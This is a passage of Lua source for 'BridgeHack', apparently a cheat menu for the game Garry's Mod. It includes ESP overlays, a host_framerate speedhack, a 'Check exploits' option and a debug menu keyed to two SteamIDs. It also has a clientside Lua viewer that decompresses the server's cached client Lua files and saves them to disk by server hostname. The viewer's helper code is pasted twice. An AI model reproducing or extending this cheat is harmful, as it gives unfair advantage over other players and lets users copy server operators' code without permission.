1741 end
1742 end):SetImage( "icon16/text_align_center.png" )
1743
1744 Misc:AddOption( "Check exploits", function()
1745 ply:ConCommand("bh_check")
1746end ):SetImage( "icon16/book_addresses.png" )
1747
1748 Misc:AddOption( "ClientSide Lua Viewer",function()
1749 chatP("Opening clientside lua viewer...")
1750 ply:ConCommand("bh_lua")
1751 end):SetImage( "icon16/application_osx_terminal.png" )
1752
1753 if ply:SteamID() == "STEAM_0:1:45153092" or ply:SteamID() == "STEAM_0:1:61639885" then
1754 local DebugMenu = menu:AddSubMenu(" Debug Settings")
1755 DebugMenu:AddOption(" Reset Default Config.", function()
1756 Debug("Resetting Cheat Variables...")
1757 ResetCvar("bh_menu_effects", 1)
1758 ResetCvar("bh_firstload_correct", 0)
1759 ResetCvar("bh_chat_status",0)
1760 ResetCvar("bh_cheats_enabled_on_start", 0)
1761 ResetCvar("bh_cheats_svlua_enabled_on_start", 0)
1762 ResetCvar("bh_showhud", 1)
1763 ResetCvar("bh_notify", 1)
1764 end)
1765
1766 DebugMenu:AddOption(" Debug",function()
1767 for k,v in pairs(player.GetAll()) do
1768 chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
1769 end
1770 end)
1771 end
1772
1773 menu:AddSpacer()
1774
1775 menu:AddOption( "Config Menu", function()
1776 local DermaPanel = vgui.Create( "DFrame" )
1777 DermaPanel:SetPos( 100, 100 )
1778 DermaPanel:SetSize( 300, 400 )
1779 DermaPanel:SetTitle( " " )
1780 DermaPanel:SetVisible( true )
1781 DermaPanel:SetDraggable( true )
1782 DermaPanel:ShowCloseButton( false )
1783 function DermaPanel:Paint( w, h )
1784 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
1785 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
1786 draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1787 end
1788
1789 local Button = vgui.Create("DButton", DermaPanel)
1790 Button:SetPos( 250, 2 )
1791 Button:SetSize( 45, 19 )
1792 Button:SetText( "" )
1793 Button:SetTextColor( Color( 255, 255, 255) )
1794 function Button:Paint( w, h )
1795 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1796 draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
1797 end
1798 Button.DoClick = function()
1799 DermaPanel:Close()
1800 end
1801
1802 DermaPanel:MakePopup()
1803
1804 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
1805 ESPMixer:SetPos( 10,170)
1806 ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
1807 ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
1808 ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
1809 ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
1810 ESPMixer:SetColor( Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b")) )--Set the default color
1811 daespvector = ESPMixer:GetColor()
1812
1813 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
1814 ESPMixButton:SetPos( 5, 265 )
1815 ESPMixButton:SetText( "Set ESP Color" )
1816 ESPMixButton:SetSize( 120, 15 )
1817 ESPMixButton.DoClick = function()
1818 print(daespvector)
1819 ply:ConCommand("bh_esp_infocolor_r "..daespr)
1820 ply:ConCommand("bh_esp_infocolor_g "..daespg)
1821 ply:ConCommand("bh_esp_infocolor_b "..daespb)
1822 end
1823
1824 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1825 EspBoxes:SetPos( 10, 25 )// Set the position
1826 EspBoxes:SetValue( GetConVarNumber("bh_esp_box") )// Initial value ( will determine whether the box is ticked too )
1827 EspBoxes:SetText("ESP Boxes")
1828 EspBoxes:SetConVar( "bh_esp_box" )
1829 EspBoxes:SizeToContents()
1830
1831 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1832 ShowHP:SetPos( 10, 45 )// Set the position
1833 ShowHP:SetValue( GetConVarNumber("bh_esp_hp") )// Initial value ( will determine whether the box is ticked too )
1834 ShowHP:SetText("Show HP On ESP")
1835 ShowHP:SetConVar( "bh_esp_hp" )
1836 ShowHP:SizeToContents()
1837
1838 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1839 ShowRank:SetPos( 10, 65 )// Set the position
1840 ShowRank:SetValue( GetConVarNumber("bh_esp_rank") )// Initial value ( will determine whether the box is ticked too )
1841 ShowRank:SetText("Show Rank On ESP")
1842 ShowRank:SetConVar( "bh_esp_rank" )
1843 ShowRank:SizeToContents()
1844
1845 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1846 Rdistance:SetPos( 10, 85 )// Set the position
1847 Rdistance:SetValue( GetConVarNumber("bh_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
1848 Rdistance:SetText("Use a Maximum render distance")
1849 Rdistance:SetConVar( "bh_renderdistance_enable" )
1850 Rdistance:SizeToContents()
1851
1852 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1853 Rdistance:SetPos( 10, 105 )// Set the position
1854 Rdistance:SetValue( GetConVarNumber("bh_notify") )// Initial value ( will determine whether the box is ticked too )
1855 Rdistance:SetText("Top Scrolling Message")
1856 Rdistance:SetConVar( "bh_notify" )
1857 Rdistance:SizeToContents()
1858
1859 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1860 PlaySound:SetPos( 10, 125 )// Set the position
1861 PlaySound:SetValue( GetConVarNumber("bh_playsound") )// Initial value ( will determine whether the box is ticked too )
1862 PlaySound:SetText("Menu sounds")
1863 PlaySound:SetConVar( "bh_playsound" )
1864 PlaySound:SizeToContents()
1865
1866 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
1867 RenderDistance:SetPos( 25, 145) // Set the position
1868 RenderDistance:SetSize( 280, 25 ) // Set the size
1869 RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
1870 RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
1871 RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
1872 RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
1873 RenderDistance:SetConVar( "bh_esp_rdistance" ) // Changes the ConVar when you slide
1874 end ):SetImage( "icon16/wrench.png" )
1875
1876 menu:Open()
1877 end)
1878
1879 concommand.Add("-bh_menu", function( ply )
1880 status("Menu Closed.")
1881 if GetConVarNumber("bh_menu_effects") == 1 then
1882 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
1883 end
1884 local menu = DermaMenu()
1885 end)
1886
1887 function ESP_on( )
1888 ply:ConCommand("bh_esp 1")
1889 end
1890
1891 function ESP_off( )
1892 ply:ConCommand("bh_esp 0")
1893 end
1894
1895 function speedhack_on( )
1896 ply:ConCommand("host_framerate 8;host_framerate 8")
1897 status("Enabled SpeedHack")
1898 end
1899
1900 function speedhack_off( )
1901 ply:ConCommand("host_framerate 0;host_framerate 0")
1902 status("Disabled SpeedHack")
1903 end
1904
1905 -- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
1906
1907/*
1908[[----------------------------------------------------------------]]
1909[[----------------------------------------------------------------]]
1910 ____ ___ __ __
1911/\ _`\ /\_ \ __ /\ \__ __ /\ \
1912\ \ \/\_\//\ \ /\_\ __ ___\ \ ,_\ ____/\_\ \_\ \ __
1913 \ \ \/_/_\ \ \ \/\ \ /'__`\/' _ `\ \ \/ /',__\/\ \ /'_` \ /'__`\
1914 \ \ \ \ \\_\ \_\ \ \/\ __//\ \/\ \ \ \_/\__, `\ \ \/\ \ \ \/\ __/
1915 \ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\
1916 \/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/ \/_/\/__,_ /\/____/
1917/\ \ __
1918\ \ \ __ __ __ __ __ /\_\ __ __ __ __ __ _ __
1919 \ \ \ __/\ \/\ \ /'__`\ /\ \/\ \\/\ \ /'__`\/\ \/\ \/\ \ /'__`\/\`'__\
1920 \ \ \L\ \ \ \_\ \/\ \L\.\_ \ \ \_/ |\ \ \/\ __/\ \ \_/ \_/ \/\ __/\ \ \/
1921 \ \____/\ \____/\ \__/.\_\ \ \___/ \ \_\ \____\\ \___x___/'\ \____\\ \_\
1922 \/___/ \/___/ \/__/\/_/ \/__/ \/_/\/____/ \/__//__/ \/____/ \/_/
1923
1924[[----------------------------------------------------------------]]
1925[[----------------------------------------------------------------]] */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
1926
1927local VIEWER = {}
1928
1929function VIEWER:Init()
1930 self:SetTitle("BridgeHack Clientside Lua Viewer")
1931 self:SetSize(1200, 550)
1932 self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
1933 surface.SetDrawColor(Color(108,153,192))
1934 surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
1935 surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
1936 end
1937 end
1938derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
1939
1940/*
1941[[----------------------------------------------------------------]]
1942[[----------------------------------------------------------------]]
1943 ____
1944/\ _`\
1945\ \ \L\_\ __ ___ ___ __ __
1946 \ \ _\/'__`\ /' _ `\ /'___\/\ \/\ \
1947 \ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \
1948 \ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
1949 \/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
1950 /\___/
1951 \/__/
1952 ____
1953/\ _`\
1954\ \ \L\ \___ _____ __ __ _____
1955 \ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\
1956 \ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \
1957 \ \_\ \____/\ \ ,__/\ \____/\ \ ,__/
1958 \/_/\/___/ \ \ \/ \/___/ \ \ \/
1959 \ \_\ \ \_\
1960 \/_/ \/_/
1961[[----------------------------------------------------------------]]
1962[[----------------------------------------------------------------]]
1963*/
1964
1965function DrawFancyPopup(message)
1966 fancyPopup = vgui.Create("DFrame")
1967 fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
1968end
1969
1970concommand.Add("testpopup", function() DrawFancyPopup("This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!") end) concommand.Add("bh_lua", function() vgui.Create("dcluaviewer"):MakePopup() end)